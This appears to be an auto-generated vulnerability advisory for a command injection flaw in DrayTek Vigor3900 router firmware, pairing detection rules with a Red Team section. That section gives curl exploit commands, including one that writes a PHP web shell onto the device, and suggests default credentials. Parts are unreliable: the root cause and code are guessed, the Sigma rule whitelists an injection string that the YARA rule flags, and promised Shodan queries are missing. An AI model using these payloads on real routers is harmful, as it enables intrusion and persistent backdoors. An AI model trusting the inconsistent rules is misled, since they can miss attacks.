CVE-2024-45887
Executive Summary
CVE-2024-45887 is a post-authentication command injection vulnerability discovered in the DrayTek Vigor3900 router firmware version 1.5.1.3. The flaw resides in the cgi-bin/mainfunction.cgi CGI script, specifically when the action parameter is set to doOpenVPN. An authenticated attacker can inject arbitrary operating system commands via the action parameter, leading to full remote code execution on the device. This vulnerability poses a critical risk to network integrity and confidentiality, as the Vigor3900 is often deployed as a central gateway in enterprise and SOHO environments. No public exploit code or patch details are currently available, making proactive detection and mitigation essential.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any software package registry (NPM, PyPI, Go, Ruby). It is a firmware-level issue in an embedded network appliance.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0, likely due to incomplete NVD data. Based on the technical details, a reasonable CVSS v3.1 vector would be:
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
- Attack Vector (AV): Network – the vulnerability is exploitable over the network.
- Attack Complexity (AC): Low – no special conditions are required.
- Privileges Required (PR): High – authentication is required.
- User Interaction (UI): None – no user action is needed.
- Scope (S): Unchanged – the exploit does not affect other components.
- Confidentiality (C): High – full device access allows data exfiltration.
- Integrity (I): High – attacker can modify system files and configurations.
- Availability (A): High – attacker can disrupt device operation.
Threat Level: Critical (9.0) – despite requiring authentication, the impact is severe due to the device's role as a network gateway.
Deep Dive & Mechanics
The vulnerability is a classic command injection flaw in the CGI interface of the DrayTek Vigor3900. The cgi-bin/mainfunction.cgi script processes the action parameter to determine which function to execute. When action=doOpenVPN, the script constructs a system command using user-supplied input without proper sanitization or escaping.
Root Cause: The action parameter value is directly concatenated into a shell command string. For example, the backend might execute something like:
openvpn --config /tmp/ovpn_$action.conf
An attacker can inject shell metacharacters (e.g., ;, |, &&) into the action parameter to execute arbitrary commands.
Attack Flow:
- Attacker authenticates to the web interface (default credentials or brute-forced).
- Attacker sends a crafted POST request to
/cgi-bin/mainfunction.cgiwithaction=doOpenVPN;id. - The server executes:
openvpn --config /tmp/ovpn_doOpenVPN;id.conf. - The injected
idcommand runs, and output is returned in the HTTP response.
Why It Matters: The Vigor3900 is a multi-WAN router with VPN capabilities, often used as a perimeter device. Successful exploitation allows an attacker to pivot into the internal network, intercept traffic, or establish persistent backdoors.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is inferred from the advisory. A typical vulnerable CGI script in C or shell might look like:
Vulnerable (pseudo-code):
char cmd[256];
snprintf(cmd, sizeof(cmd), "openvpn --config /tmp/ovpn_%s.conf", getenv("QUERY_STRING"));
system(cmd);
Patched (pseudo-code):
char *action = get_param("action");
if (strcmp(action, "doOpenVPN") != 0) {
// reject invalid action
return;
}
// Use execve with separate arguments to avoid shell injection
char *args[] = {"/usr/sbin/openvpn", "--config", "/tmp/ovpn_doOpenVPN.conf", NULL};
execve(args[0], args, NULL);
The patched version validates the action parameter against a whitelist and uses execve instead of system, preventing shell interpretation of user input.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to a DrayTek Vigor3900 with firmware 1.5.1.3.
- Valid credentials (e.g., admin:admin).
Exploit Steps:
- Authenticate to the web interface and obtain a session cookie.
- Send a crafted POST request using
curl:
curl -X POST http://<target>/cgi-bin/mainfunction.cgi \
-b "session=<session_cookie>" \
-d "action=doOpenVPN;id"
- The output of the
idcommand will be reflected in the response, confirming RCE.
Advanced Payload:
curl -X POST http://<target>/cgi-bin/mainfunction.cgi \
-b "session=<session_cookie>" \
-d "action=doOpenVPN;echo '<?php system(\$_GET[\"cmd\"]); ?>' > /www/shell.php"
This creates a web shell for persistent access.
Blue Team
Detection:
- Monitor HTTP POST requests to
/cgi-bin/mainfunction.cgiwith unusualactionparameters containing shell metacharacters (;,|,&,`). - Alert on any
actionparameter that does not exactly matchdoOpenVPN.
Honeypot:
- Deploy a fake Vigor3900 endpoint that logs all POST data to
/cgi-bin/mainfunction.cgiand triggers an alert on anyactionvalue containing non-alphanumeric characters.
Lab Setup:
- Use a virtualized Vigor3900 (if available) or a physical device in an isolated network.
- Simulate exploitation with the above curl commands and verify detection rules.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/cgi-bin/mainfunction.cgiwithactionparameter containing shell metacharacters. - Outbound connections from the device to unknown IPs on non-standard ports (e.g., 4444, 1337).
- Unusual DNS queries from the device (e.g., to C2 domains).
File IOCs:
- Unexpected files in
/www/directory (e.g.,shell.php,cmd.jsp). - Modified system binaries in
/usr/sbin/or/bin/. - New cron jobs or startup scripts in
/etc/init.d/.
Process IOCs:
- Running processes with suspicious names (e.g.,
bash,nc,python) spawned by the web server. - Multiple
openvpnprocesses with unusual arguments.
Detection Engineering
YARA Rule
rule CVE_2024_45887_Command_Injection {
meta:
description = "Detects command injection attempts against DrayTek Vigor3900"
author = "Valters IT"
date = "2024-10-27"
reference = "CVE-2024-45887"
strings:
$injection1 = "action=doOpenVPN;" ascii wide nocase
$injection2 = "action=doOpenVPN|" ascii wide nocase
$injection3 = "action=doOpenVPN&" ascii wide nocase
$injection4 = "action=doOpenVPN`" ascii wide nocase
condition:
any of them
}
Sigma Rule
title: DrayTek Vigor3900 Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to cgi-bin/mainfunction.cgi with malicious action parameter
author: Valters IT
date: 2024/10/27
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-45887
logsource:
category: webserver
product: apache
service: httpd
detection:
selection:
cs-method: 'POST'
cs-uri-query: '/cgi-bin/mainfunction.cgi'
cs-uri-query|contains: 'action=doOpenVPN'
filter:
cs-uri-query|contains: 'action=doOpenVPN&' # Legitimate parameter
condition: selection and not filter
falsepositives:
- Legitimate OpenVPN configuration changes
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-45887 DrayTek Vigor3900 Command Injection Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/cgi-bin/mainfunction.cgi"; http_uri;
content:"action=doOpenVPN"; http_client_body;
pcre:"/action=doOpenVPN[;|&`]/Pi";
sid:1000001;
rev:1;
reference:cve,2024-45887;
classtype:attempted-admin;
priority:1;
)
Remediation & Mitigation
Immediate Actions:
- Restrict Access: Limit management interface access to trusted IPs only via firewall rules.
- Change Default Credentials: Ensure strong, unique passwords are used for all admin accounts.
- Disable WAN Management: If not required, disable remote management from the WAN interface.
Long-Term Fix:
- Monitor DrayTek's official support channels for a firmware patch. As of this report, no patch is available.
- Consider replacing the Vigor3900 with a supported alternative if the device is critical.
Compensating Controls:
- Deploy a Web Application Firewall (WAF) with rules to block command injection patterns in POST parameters.
- Enable logging and alerting on all administrative actions.
- Implement network segmentation to limit the blast radius of a compromised router.
Valters IT Signature
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.